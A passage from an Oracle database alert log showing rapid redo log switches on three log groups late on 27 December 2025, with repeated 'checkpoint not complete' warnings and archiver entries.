/u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:09:11.409237+08:00 ARC1 (PID:1867): Archived Log entry 2291 added for T-1.S-2295 ID 0x75f9c04b LAD:1 2025-12-27T23:09:11.463245+08:00 Thread 1 cannot allocate new log, sequence 2297 Checkpoint not complete Current log# 2 seq# 2296 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:09:14.513123+08:00 Thread 1 advanced to log sequence 2297 (LGWR switch) Current log# 3 seq# 2297 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:09:14.561621+08:00 ARC2 (PID:1869): Archived Log entry 2292 added for T-1.S-2296 ID 0x75f9c04b LAD:1 2025-12-27T23:09:14.598879+08:00 Thread 1 cannot allocate new log, sequence 2298 Checkpoint not complete Current log# 3 seq# 2297 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:09:17.631121+08:00 Thread 1 advanced to log sequence 2298 (LGWR switch) Current log# 1 seq# 2298 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:09:17.681169+08:00 ARC3 (PID:1871): Archived Log entry 2293 added for T-1.S-2297 ID 0x75f9c04b LAD:1 2025-12-27T23:09:17.721775+08:00 Thread 1 cannot allocate new log, sequence 2299 Checkpoint not complete Current log# 1 seq# 2298 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:09:20.786380+08:00 Thread 1 advanced to log sequence 2299 (LGWR switch) Current log# 2 seq# 2299 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:09:20.838297+08:00 ARC0 (PID:1861): Archived Log entry 2294 added for T-1.S-2298 ID 0x75f9c04b LAD:1 2025-12-27T23:09:20.882103+08:00 Thread 1 cannot allocate new log, sequence 2300 Checkpoint not complete Current log# 2 seq# 2299 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:09:23.805029+08:00 Thread 1 advanced to log sequence 2300 (LGWR switch) Current log# 3 seq# 2300 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:09:23.851799+08:00 ARC1 (PID:1867): Archived Log entry 2295 added for T-1.S-2299 ID 0x75f9c04b LAD:1 2025-12-27T23:09:23.887609+08:00 Thread 1 cannot allocate new log, sequence 2301 Checkpoint not complete Current log# 3 seq# 2300 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:09:26.805644+08:00 Thread 1 advanced to log sequence 2301 (LGWR switch) Current log# 1 seq# 2301 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:09:26.836200+08:00 ARC2 (PID:1869): Archived Log entry 2296 added for T-1.S-2300 ID 0x75f9c04b LAD:1 2025-12-27T23:09:26.876531+08:00 Thread 1 cannot allocate new log, sequence 2302 Checkpoint not complete Current log# 1 seq# 2301 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:09:29.892936+08:00 Thread 1 advanced to log sequence 2302 (LGWR switch) Current log# 2 seq# 2302 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:09:29.940250+08:00 ARC3 (PID:1871): Archived Log entry 2297 added for T-1.S-2301 ID 0x75f9c04b LAD:1 2025-12-27T23:09:30.002652+08:00 Thread 1 cannot allocate new log, sequence 2303 Checkpoint not complete Current log# 2 seq# 2302 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:09:33.009547+08:00 Thread 1 advanced to log sequence 2303 (LGWR switch) Current log# 3 seq# 2303 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:09:33.055342+08:00 ARC0 (PID:1861): Archived Log entry 2298 added for T-1.S-2302 ID 0x75f9c04b LAD:1 2025-12-27T23:09:33.094678+08:00 Thread 1 cannot allocate new log, sequence 2304 Checkpoint not complete Current log# 3 seq# 2303 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:09:36.053859+08:00 Thread 1 advanced to log sequence 2304 (LGWR switch) Current log# 1 seq# 2304 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:09:36.109420+08:00 ARC1 (PID:1867): Archived Log entry 2299 added for T-1.S-2303 ID 0x75f9c04b LAD:1 2025-12-27T23:09:36.144846+08:00 Thread 1 cannot allocate new log, sequence 2305 Checkpoint not complete Current log# 1 seq# 2304 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:09:39.202931+08:00 Thread 1 advanced to log sequence 2305 (LGWR switch) Current log# 2 seq# 2305 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:09:39.248818+08:00 ARC2 (PID:1869): Archived Log entry 2300 added for T-1.S-2304 ID 0x75f9c04b LAD:1 2025-12-27T23:09:39.288843+08:00 Thread 1 cannot allocate new log, sequence 2306 Checkpoint not complete Current log# 2 seq# 2305 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:09:42.300083+08:00 Thread 1 advanced to log sequence 2306 (LGWR switch) Current log# 3 seq# 2306 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:09:42.350686+08:00 ARC3 (PID:1871): Archived Log entry 2301 added for T-1.S-2305 ID 0x75f9c04b LAD:1 2025-12-27T23:09:42.402360+08:00 Thread 1 cannot allocate new log, sequence 2307 Checkpoint not complete Current log# 3 seq# 2306 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:09:45.386993+08:00 Thread 1 advanced to log sequence 2307 (LGWR switch) Current log# 1 seq# 2307 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:09:45.434090+08:00 ARC0 (PID:1861): Archived Log entry 2302 added for T-1.S-2306 ID 0x75f9c04b LAD:1 2025-12-27T23:09:45.469676+08:00 Thread 1 cannot allocate new log, sequence 2308 Checkpoint not complete Current log# 1 seq# 2307 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:09:48.499798+08:00 Thread 1 advanced to log sequence 2308 (LGWR switch) Current log# 2 seq# 2308 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:09:48.549264+08:00 ARC1 (PID:1867): Archived Log entry 2303 added for T-1.S-2307 ID 0x75f9c04b LAD:1 2025-12-27T23:09:48.586907+08:00 Thread 1 cannot allocate new log, sequence 2309 Checkpoint not complete Current log# 2 seq# 2308 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:09:51.579314+08:00 Thread 1 advanced to log sequence 2309 (LGWR switch) Current log# 3 seq# 2309 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:09:51.624880+08:00 ARC2 (PID:1869): Archived Log entry 2304 added for T-1.S-2308 ID 0x75f9c04b LAD:1 2025-12-27T23:09:51.664832+08:00 Thread 1 cannot allocate new log, sequence 2310 Checkpoint not complete Current log# 3 seq# 2309 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:09:54.712152+08:00 Thread 1 advanced to log sequence 2310 (LGWR switch) Current log# 1 seq# 2310 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:09:54.756708+08:00 ARC3 (PID:1871): Archived Log entry 2305 added for T-1.S-2309 ID 0x75f9c04b LAD:1 2025-12-27T23:09:54.804232+08:00 Thread 1 cannot allocate new log, sequence 2311 Checkpoint not complete Current log# 1 seq# 2310 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:09:57.830374+08:00 Thread 1 advanced to log sequence 2311 (LGWR switch) Current log# 2 seq# 2311 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:09:57.876145+08:00 ARC0 (PID:1861): Archived Log entry 2306 added for T-1.S-2310 ID 0x75f9c04b LAD:1 2025-12-27T23:09:57.919883+08:00 Thread 1 cannot allocate new log, sequence 2312 Checkpoint not complete Current log# 2 seq# 2311 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:10:00.931439+08:00 Thread 1 advanced to log sequence 2312 (LGWR switch) Current log# 3 seq# 2312 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:10:00.974276+08:00 ARC1 (PID:1867): Archived Log entry 2307 added for T-1.S-2311 ID 0x75f9c04b LAD:1 2025-12-27T23:10:01.013659+08:00 Thread 1 cannot allocate new log, sequence 2313 Checkpoint not complete Current log# 3 seq# 2312 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:10:04.031872+08:00 Thread 1 advanced to log sequence 2313 (LGWR switch) Current log# 1 seq# 2313 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:10:04.078330+08:00 ARC2 (PID:1869): Archived Log entry 2308 added for T-1.S-2312 ID 0x75f9c04b LAD:1 2025-12-27T23:10:04.117549+08:00 Thread 1 cannot allocate new log, sequence 2314 Checkpoint not complete Current log# 1 seq# 2313 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:10:07.141913+08:00 Thread 1 advanced to log sequence 2314 (LGWR switch) Current log# 2 seq# 2314 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:10:07.209035+08:00 ARC3 (PID:1871): Archived Log entry 2309 added for T-1.S-2313 ID 0x75f9c04b LAD:1 2025-12-27T23:10:07.255094+08:00 Thread 1 cannot allocate new log, sequence 2315 Checkpoint not complete Current log# 2 seq# 2314 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:10:10.265028+08:00 Thread 1 advanced to log sequence 2315 (LGWR switch) Current log# 3 seq# 2315 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:10:10.327286+08:00 ARC0 (PID:1861): Archived Log entry 2310 added for T-1.S-2314 ID 0x75f9c04b LAD:1 2025-12-27T23:10:10.370516+08:00 Thread 1 cannot allocate new log, sequence 2316 Checkpoint not complete Current log# 3 seq# 2315 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:10:13.350718+08:00 Thread 1 advanced to log sequence 2316 (LGWR switch) Current log# 1 seq# 2316 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:10:13.405239+08:00 ARC1 (PID:1867): Archived Log entry 2311 added for T-1.S-2315 ID 0x75f9c04b LAD:1 2025-12-27T23:10:13.443932+08:00 Thread 1 cannot allocate new log, sequence 2317 Checkpoint not complete Current log# 1 seq# 2316 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:10:17.109693+08:00 Thread 1 advanced to log sequence 2317 (LGWR switch) Current log# 2 seq# 2317 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:10:17.167956+08:00 ARC2 (PID:1869): Archived Log entry 2312 added for T-1.S-2316 ID 0x75f9c04b LAD:1 2025-12-27T23:10:17.208078+08:00 Thread 1 cannot allocate new log, sequence 2318 Checkpoint not complete Current log# 2 seq# 2317 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:10:20.492030+08:00 Thread 1 advanced to log sequence 2318 (LGWR switch) Current log# 3 seq# 2318 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:10:20.535929+08:00 ARC3 (PID:1871): Archived Log entry 2313 added for T-1.S-2317 ID 0x75f9c04b LAD:1 2025-12-27T23:10:20.575077+08:00 Thread 1 cannot allocate new log, sequence 2319 Checkpoint not complete Current log# 3 seq# 2318 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:10:23.788849+08:00 Thread 1 advanced to log sequence 2319 (LGWR switch) Current log# 1 seq# 2319 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:10:23.832532+08:00 ARC0 (PID:1861): Archived Log entry 2314 added for T-1.S-2318 ID 0x75f9c04b LAD:1 2025-12-27T23:10:23.871872+08:00 Thread 1 cannot allocate new log, sequence 2320 Checkpoint not complete Current log# 1 seq# 2319 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:10:26.786009+08:00 Thread 1 advanced to log sequence 2320 (LGWR switch) Current log# 2 seq# 2320 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:10:26.810598+08:00 ARC1 (PID:1867): Archived Log entry 2315 added for T-1.S-2319 ID 0x75f9c04b LAD:1 2025-12-27T23:10:26.850270+08:00 Thread 1 cannot allocate new log, sequence 2321 Checkpoint not complete Current log# 2 seq# 2320 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:10:29.945691+08:00 Thread 1 advanced to log sequence 2321 (LGWR switch) Current log# 3 seq# 2321 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:10:29.974362+08:00 ARC2 (PID:1869): Archived Log entry 2316 added for T-1.S-2320 ID 0x75f9c04b LAD:1 2025-12-27T23:10:30.010120+08:00 Thread 1 cannot allocate new log, sequence 2322 Checkpoint not complete Current log# 3 seq# 2321 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:10:33.043384+08:00 Thread 1 advanced to log sequence 2322 (LGWR switch) Current log# 1 seq# 2322 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:10:33.086342+08:00 ARC3 (PID:1871): Archived Log entry 2317 added for T-1.S-2321 ID 0x75f9c04b LAD:1 2025-12-27T23:10:33.122358+08:00 Thread 1 cannot allocate new log, sequence 2323 Checkpoint not complete Current log# 1 seq# 2322 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:10:36.101667+08:00 Thread 1 advanced to log sequence 2323 (LGWR switch) Current log# 2 seq# 2323 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:10:36.142495+08:00 ARC0 (PID:1861): Archived Log entry 2318 added for T-1.S-2322 ID 0x75f9c04b LAD:1 2025-12-27T23:10:36.186860+08:00 Thread 1 cannot allocate new log, sequence 2324 Checkpoint not complete Current log# 2 seq# 2323 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:10:39.188107+08:00 Thread 1 advanced to log sequence 2324 (LGWR switch) Current log# 3 seq# 2324 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:10:39.234388+08:00 ARC1 (PID:1867): Archived Log entry 2319 added for T-1.S-2323 ID 0x75f9c04b LAD:1 2025-12-27T23:10:39.281999+08:00 Thread 1 cannot allocate new log, sequence 2325 Checkpoint not complete Current log# 3 seq# 2324 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:10:42.309462+08:00 Thread 1 advanced to log sequence 2325 (LGWR switch) Current log# 1 seq# 2325 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:10:42.359795+08:00 ARC2 (PID:1869): Archived Log entry 2320 added for T-1.S-2324 ID 0x75f9c04b LAD:1 2025-12-27T23:10:42.397198+08:00 Thread 1 cannot allocate new log, sequence 2326 Checkpoint not complete Current log# 1 seq# 2325 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:10:45.372774+08:00 Thread 1 advanced to log sequence 2326 (LGWR switch) Current log# 2 seq# 2326 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:10:45.414810+08:00 ARC3 (PID:1871): Archived Log entry 2321 added for T-1.S-2325 ID 0x75f9c04b LAD:1 2025-12-27T23:10:45.460654+08:00 Thread 1 cannot allocate new log, sequence 2327 Checkpoint not complete Current log# 2 seq# 2326 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:10:48.486682+08:00 Thread 1 advanced to log sequence 2327 (LGWR switch) Current log# 3 seq# 2327 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:10:48.530157+08:00 ARC0 (PID:1861): Archived Log entry 2322 added for T-1.S-2326 ID 0x75f9c04b LAD:1 2025-12-27T23:10:48.570634+08:00 Thread 1 cannot allocate new log, sequence 2328 Checkpoint not complete Current log# 3 seq# 2327 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:10:51.596788+08:00 Thread 1 advanced to log sequence 2328 (LGWR switch) Current log# 1 seq# 2328 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:10:51.644415+08:00 ARC1 (PID:1867): Archived Log entry 2323 added for T-1.S-2327 ID 0x75f9c04b LAD:1 2025-12-27T23:10:51.681521+08:00 Thread 1 cannot allocate new log, sequence 2329 Checkpoint not complete Current log# 1 seq# 2328 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:10:54.705906+08:00 Thread 1 advanced to log sequence 2329 (LGWR switch) Current log# 2 seq# 2329 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:10:54.753386+08:00 ARC2 (PID:1869): Archived Log entry 2324 added for T-1.S-2328 ID 0x75f9c04b LAD:1 2025-12-27T23:10:54.793327+08:00 Thread 1 cannot allocate new log, sequence 2330 Checkpoint not complete Current log# 2 seq# 2329 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:10:57.823041+08:00 Thread 1 advanced to log sequence 2330 (LGWR switch) Current log# 3 seq# 2330 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:10:57.876843+08:00 ARC3 (PID:1871): Archived Log entry 2325 added for T-1.S-2329 ID 0x75f9c04b LAD:1 2025-12-27T23:10:57.918771+08:00 Thread 1 cannot allocate new log, sequence 2331 Checkpoint not complete Current log# 3 seq# 2330 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:11:00.915783+08:00 Thread 1 advanced to log sequence 2331 (LGWR switch) Current log# 1 seq# 2331 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:11:00.980635+08:00 ARC0 (PID:1861): Archived Log entry 2326 added for T-1.S-2330 ID 0x75f9c04b LAD:1 2025-12-27T23:11:01.009525+08:00 Thread 1 cannot allocate new log, sequence 2332 Checkpoint not complete Current log# 1 seq# 2331 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:11:04.025285+08:00 Thread 1 advanced to log sequence 2332 (LGWR switch) Current log# 2 seq# 2332 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:11:04.074311+08:00 ARC1 (PID:1867): Archived Log entry 2327 added for T-1.S-2331 ID 0x75f9c04b LAD:1 2025-12-27T23:11:04.115385+08:00 Thread 1 cannot allocate new log, sequence 2333 Checkpoint not complete Current log# 2 seq# 2332 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:11:07.090504+08:00 Thread 1 advanced to log sequence 2333 (LGWR switch) Current log# 3 seq# 2333 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:11:07.133187+08:00 ARC2 (PID:1869): Archived Log entry 2328 added for T-1.S-2332 ID 0x75f9c04b LAD:1 2025-12-27T23:11:07.172737+08:00 Thread 1 cannot allocate new log, sequence 2334 Checkpoint not complete Current log# 3 seq# 2333 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:11:10.227949+08:00 Thread 1 advanced to log sequence 2334 (LGWR switch) Current log# 1 seq# 2334 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:11:10.271240+08:00 ARC3 (PID:1871): Archived Log entry 2329 added for T-1.S-2333 ID 0x75f9c04b LAD:1 2025-12-27T23:11:10.311451+08:00 Thread 1 cannot allocate new log, sequence 2335 Checkpoint not complete Current log# 1 seq# 2334 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:11:13.316837+08:00 Thread 1 advanced to log sequence 2335 (LGWR switch) Current log# 2 seq# 2335 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:11:13.366127+08:00 ARC0 (PID:1861): Archived Log entry 2330 added for T-1.S-2334 ID 0x75f9c04b LAD:1 2025-12-27T23:11:13.406119+08:00 Thread 1 cannot allocate new log, sequence 2336 Checkpoint not complete Current log# 2 seq# 2335 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:11:16.398306+08:00 Thread 1 advanced to log sequence 2336 (LGWR switch) Current log# 3 seq# 2336 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:11:16.447367+08:00 ARC1 (PID:1867): Archived Log entry 2331 added for T-1.S-2335 ID 0x75f9c04b LAD:1 2025-12-27T23:11:16.486402+08:00 Thread 1 cannot allocate new log, sequence 2337 Checkpoint not complete Current log# 3 seq# 2336 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:11:19.538950+08:00 Thread 1 advanced to log sequence 2337 (LGWR switch) Current log# 1 seq# 2337 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:11:19.567961+08:00 ARC2 (PID:1869): Archived Log entry 2332 added for T-1.S-2336 ID 0x75f9c04b LAD:1 2025-12-27T23:11:19.604333+08:00 Thread 1 cannot allocate new log, sequence 2338 Checkpoint not complete Current log# 1 seq# 2337 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:11:22.631677+08:00 Thread 1 advanced to log sequence 2338 (LGWR switch) Current log# 2 seq# 2338 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:11:22.673610+08:00 ARC3 (PID:1871): Archived Log entry 2333 added for T-1.S-2337 ID 0x75f9c04b LAD:1 2025-12-27T23:11:22.747961+08:00 Thread 1 cannot allocate new log, sequence 2339 Checkpoint not complete Current log# 2 seq# 2338 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:11:25.637431+08:00 Thread 1 advanced to log sequence 2339 (LGWR switch) Current log# 3 seq# 2339 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:11:25.663218+08:00 ARC0 (PID:1861): Archived Log entry 2334 added for T-1.S-2338 ID 0x75f9c04b LAD:1 2025-12-27T23:11:25.713931+08:00 Thread 1 cannot allocate new log, sequence 2340 Checkpoint not complete Current log# 3 seq# 2339 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:11:28.794172+08:00 Thread 1 advanced to log sequence 2340 (LGWR switch) Current log# 1 seq# 2340 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:11:28.837838+08:00 ARC1 (PID:1867): Archived Log entry 2335 added for T-1.S-2339 ID 0x75f9c04b LAD:1 2025-12-27T23:11:28.886810+08:00 Thread 1 cannot allocate new log, sequence 2341 Checkpoint not complete Current log# 1 seq# 2340 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:11:31.869056+08:00 Thread 1 advanced to log sequence 2341 (LGWR switch) Current log# 2 seq# 2341 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:11:31.910677+08:00 ARC2 (PID:1869): Archived Log entry 2336 added for T-1.S-2340 ID 0x75f9c04b LAD:1 2025-12-27T23:11:31.951839+08:00 Thread 1 cannot allocate new log, sequence 2342 Checkpoint not complete Current log# 2 seq# 2341 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:11:34.957384+08:00 Thread 1 advanced to log sequence 2342 (LGWR switch) Current log# 3 seq# 2342 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:11:35.005689+08:00 ARC3 (PID:1871): Archived Log entry 2337 added for T-1.S-2341 ID 0x75f9c04b LAD:1 2025-12-27T23:11:35.058253+08:00 Thread 1 cannot allocate new log, sequence 2343 Checkpoint not complete Current log# 3 seq# 2342 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:11:38.107988+08:00 Thread 1 advanced to log sequence 2343 (LGWR switch) Current log# 1 seq# 2343 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:11:38.137931+08:00 ARC0 (PID:1861): Archived Log entry 2338 added for T-1.S-2342 ID 0x75f9c04b LAD:1 2025-12-27T23:11:38.180398+08:00 Thread 1 cannot allocate new log, sequence 2344 Checkpoint not complete Current log# 1 seq# 2343 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:11:41.220827+08:00 Thread 1 advanced to log sequence 2344 (LGWR switch) Current log# 2 seq# 2344 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:11:41.267828+08:00 ARC1 (PID:1867): Archived Log entry 2339 added for T-1.S-2343 ID 0x75f9c04b LAD:1 2025-12-27T23:11:41.307989+08:00 Thread 1 cannot allocate new log, sequence 2345 Checkpoint not complete Current log# 2 seq# 2344 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:11:44.311849+08:00 Thread 1 advanced to log sequence 2345 (LGWR switch) Current log# 3 seq# 2345 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:11:44.359061+08:00 ARC2 (PID:1869): Archived Log entry 2340 added for T-1.S-2344 ID 0x75f9c04b LAD:1 2025-12-27T23:11:44.402199+08:00 Thread 1 cannot allocate new log, sequence 2346 Checkpoint not complete Current log# 3 seq# 2345 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:11:47.491719+08:00 Thread 1 advanced to log sequence 2346 (LGWR switch) Current log# 1 seq# 2346 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:11:47.539293+08:00 ARC3 (PID:1871): Archived Log entry 2341 added for T-1.S-2345 ID 0x75f9c04b LAD:1 2025-12-27T23:11:47.590181+08:00 Thread 1 cannot allocate new log, sequence 2347 Checkpoint not complete Current log# 1 seq# 2346 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:11:50.658683+08:00 Thread 1 advanced to log sequence 2347 (LGWR switch) Current log# 2 seq# 2347 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:11:50.706360+08:00 ARC0 (PID:1861): Archived Log entry 2342 added for T-1.S-2346 ID 0x75f9c04b LAD:1 2025-12-27T23:11:50.746630+08:00 Thread 1 cannot allocate new log, sequence 2348 Checkpoint not complete Current log# 2 seq# 2347 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:11:53.747382+08:00 Thread 1 advanced to log sequence 2348 (LGWR switch) Current log# 3 seq# 2348 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:11:53.795542+08:00 ARC1 (PID:1867): Archived Log entry 2343 added for T-1.S-2347 ID 0x75f9c04b LAD:1 2025-12-27T23:11:53.838800+08:00 Thread 1 cannot allocate new log, sequence 2349 Checkpoint not complete Current log# 3 seq# 2348 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:11:56.908161+08:00 Thread 1 advanced to log sequence 2349 (LGWR switch) Current log# 1 seq# 2349 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:11:56.948247+08:00 ARC2 (PID:1869): Archived Log entry 2344 added for T-1.S-2348 ID 0x75f9c04b LAD:1 2025-12-27T23:11:56.990035+08:00 Thread 1 cannot allocate new log, sequence 2350 Checkpoint not complete Current log# 1 seq# 2349 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:12:00.021163+08:00 Thread 1 advanced to log sequence 2350 (LGWR switch) Current log# 2 seq# 2350 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:12:00.066192+08:00 ARC3 (PID:1871): Archived Log entry 2345 added for T-1.S-2349 ID 0x75f9c04b LAD:1 2025-12-27T23:12:00.110038+08:00 Thread 1 cannot allocate new log, sequence 2351 Checkpoint not complete Current log# 2 seq# 2350 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:12:03.108131+08:00 Thread 1 advanced to log sequence 2351 (LGWR switch) Current log# 3 seq# 2351 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:12:03.155077+08:00 ARC0 (PID:1861): Archived Log entry 2346 added for T-1.S-2350 ID 0x75f9c04b LAD:1 2025-12-27T23:12:03.198084+08:00 Thread 1 cannot allocate new log, sequence 2352 Checkpoint not complete Current log# 3 seq# 2351 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:12:06.179790+08:00 Thread 1 advanced to log sequence 2352 (LGWR switch) Current log# 1 seq# 2352 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:12:06.229761+08:00 ARC1 (PID:1867): Archived Log entry 2347 added for T-1.S-2351 ID 0x75f9c04b LAD:1 2025-12-27T23:12:06.272779+08:00 Thread 1 cannot allocate new log, sequence 2353 Checkpoint not complete Current log# 1 seq# 2352 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:12:09.337360+08:00 Thread 1 advanced to log sequence 2353 (LGWR switch) Current log# 2 seq# 2353 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:12:09.377958+08:00 ARC2 (PID:1869): Archived Log entry 2348 added for T-1.S-2352 ID 0x75f9c04b LAD:1 2025-12-27T23:12:09.422363+08:00 Thread 1 cannot allocate new log, sequence 2354 Checkpoint not complete Current log# 2 seq# 2353 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:12:12.496407+08:00 Thread 1 advanced to log sequence 2354 (LGWR switch) Current log# 3 seq# 2354 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:12:12.548268+08:00 ARC3 (PID:1871): Archived Log entry 2349 added for T-1.S-2353 ID 0x75f9c04b LAD:1 2025-12-27T23:12:12.590751+08:00 Thread 1 cannot allocate new log, sequence 2355 Checkpoint not complete Current log# 3 seq# 2354 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:12:15.644900+08:00 Thread 1 advanced to log sequence 2355 (LGWR switch) Current log# 1 seq# 2355 mem# 0: 